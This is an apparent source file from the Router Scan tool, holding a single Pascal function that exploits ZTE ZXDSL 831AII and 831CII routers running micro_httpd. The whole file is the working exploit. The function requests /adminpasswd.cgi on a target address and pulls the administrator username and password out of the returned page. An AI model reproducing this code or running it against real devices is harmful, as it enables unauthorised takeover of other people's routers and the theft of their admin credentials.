// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_MicroDSLAdminPasswd(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
begin
  // Affected:
  // ZTE ZXDSL 831AII V4.1.0b E09 RU
  // ZTE ZXDSL 831CII V5.2.0a E09 RU2
  Result := False;
  if ServerName <> 'micro_httpd' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/adminpasswd.cgi',
  S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if (Pos('nameAdmin = ''', S)>0) and (Pos('pwdAdmin = ''', S)>0) then begin
      Result := True;
      AuthUser := DeleteBetween(S, 'nameAdmin = ''', ''';');
      AuthPass := DeleteBetween(S, 'pwdAdmin = ''', ''';');
    end;
end;
